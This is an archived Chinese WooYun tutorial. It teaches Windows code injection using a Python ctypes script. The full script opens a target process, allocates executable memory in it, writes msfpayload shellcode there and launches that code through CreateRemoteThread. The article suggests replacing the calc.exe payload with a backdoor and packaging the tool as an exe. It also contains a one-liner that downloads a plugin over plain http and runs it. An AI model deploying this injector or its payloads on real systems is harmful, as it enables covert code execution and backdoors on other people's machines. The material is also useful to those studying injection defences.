# Python编写shellcode注入程序

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-12-29T03:57:00Z
Canonical: https://wepostx.com/topics/671

> 乌云历史资料归档
>
> **原始作者：** light
> **原始编号：** superkieran-wooyundrops:433
> **原始发布时间：** 2014-12-29 11:57
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 背景

本文为《小学生科普系列》的番外篇，本系列面向小学生，纯科普，大牛莫喷~
教程中所有内容仅供学习研究，请勿用于非法用途，否则....我也帮不了你啊...
说起注入，大家第一印象可能还习惯性的停留在sql注入，脚本注入（XSS）等。今天light同(jiao)学(shou)带大家从web端回到操作系统，一起探讨Windows下的经典注入——内存注入，使用python编写一个简单的代码注入程序。
内存注入常见的方法有dll注入和代码注入。Dll注入通俗地讲就是把我们自己的dll注入到目标进程的地址空间内，“寄生”在目标进程里执行。Dll注入需要另外一个“推进器”程序将我们的“寄生虫”dll“注”进目标进程中。
代码注入和dll注入的思路一致，只是“寄生虫”代码与“推进器”代码在同一个程序里面。
Dll文件:windows动态链接库。在Windows中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即DLL文件，放置于系统中。当我们执行某一个程序时，相应的DLL文件就会被调用。
这次我们的实验选取“代码注入”这一课题。废话不多说，开始动手！

# 0x01 准备工作

写python的小程序，light同学推荐性感的Sublime text2 +JEDI（python自动补全插件）。
首先安装sublime text2的“插件管理”插件package control：
打开sublime后，组合键“ctrl+~”调出控制台，将以下代码粘贴进命令行中并回车：

```text
#!python import urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp) if not os.path.exists(ipp) else None;open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read())
```
安装完毕后重启sublime text2，输入Ctrl + Shift + P 然后输入Install Package

![原文图片](/media/2016/06/f0b24fed25ae416191ffa39ebe684bab)

然后输入“jedi”，回车安装。

![原文图片](/media/2016/06/785e86af67b2546468b18ae2f7b198e9)

磨刀不误砍柴工，装好插件，我们开始正式撸代码。

# 0x02 烹饪开始

原料：win7、python27、sublime text2、msfpayload
必备技能：windows api 基础、python基础、metasploit基础（这个还不会的赶快去这里补习！http://zone.wooyun.org/content/17377）
这次的注入代码主要借助了python的ctypes库，这个库使得python可以直接调用windows API，非常方便。“为什么不用c或者c++？”，因为我手头边只有一本《gray hat python》。

```text
#!python #-*- coding:utf-8 -*- #导入sys库以及ctypes库 import sys from ctypes import * PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = int(sys.argv[1]) if not sys.argv[1]: print "Code Injector: ./code_injector.py <PID to inject>" sys.exit(0) # shellcode使用msfpayload生成的，我这里是一个计算器，当然你可以直接生成一个后门程# 序。生成代码：msfpayload windows/exec CMD = calc.exe EXITFUNC=thread C shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00" "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d" "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75" "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63" "\x2e\x65\x78\x65\x00") code_size = len(shellcode) # 获取我们要注入的进程句柄 h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) # 为我们的shellcode申请内存 arg_address = kernel32.VirtualAllocEx( h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) # 在内存中写入shellcode written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) # 创建远程线程，指定入口为我们的shellcode头部 thread_id = c_ulong(0) if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)): print "[*] Failed to inject shellcode. Exiting." sys.exit(0) print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value
```
句柄：句柄与普通指针的区别在于，指针包含的是引用对象的内存地址，而句柄则是由系统所管理的引用标识，该标识可以被系统重新定位到一个内存地址上。这种间接访问对象的模式增强了系统对引用对象的控制。
可以看到，之所以能进行内存注入，主要归功于windows开放的一个关键api：CreateRemoteThread。这个函数允许我们创建一个在其它进程地址空间中运行的线程(也称：创建远程线程)。
而整个注入过程可以划分为三个步骤：获取目标进程句柄，把shellcode写入内存，创建远程线程。这也是内存注入的基本原理和机制。
在使用msfpayload生成shellcode时，有两个坑需要大家注意。
坑一： Msfpayload生成shellcode时，不能使用msfencode，有些资料告诉我们生成shellcode时要在后面加上 msfencode -b ‘\x00’ 来避免空字，但是msfencode一旦使用，默认就会使用 x86/shikata_ga_nai 等编码器对shellcode编码一次。这里light同学推荐大家用 msfpayload xxx C的方式来生成纯净的shellcode。
坑二：
msfpayload windows/exec CMD = calc.exe C
直接生成的shellcode执行结果是宿主100%崩溃，简直就是进程杀手。我在测试过程中，把用来测试的百度云管家崩的天昏地暗。这个坑花了好久才跳出来。
后来号基友用ollydbg调试发现shellcode退出时直接exit process，把整个进程都结束了。

![原文图片](/media/2016/06/7b50c71a68dcce7a705183e6915d7c91)

在基友热心帮助下，再参考msfpayload官方文档后顿悟，果断修改EXITFUNC的值为thread（默认为process）：

![原文图片](/media/2016/06/d93e6c802e79652fc998a279579a8d60)

测试成功！

![原文图片](/media/2016/06/9fa20263b938a1ed5675cb74f206337b)

最后，我们可以把这个python脚本用py2exe打包成exe可执行文件。有兴趣的话还可以加上UI，做成一个可以定制不同注入类型（dll或代码注入）、注入代码（反向后门或恶作剧程序）的程序。
任何问题或者好的建议请骚扰：[email protected]
参考文档：
《gray hat python》
http://www.offensive-security.com/metasploit-unleashed/Msfpayload
http://www.google.com

## Replies
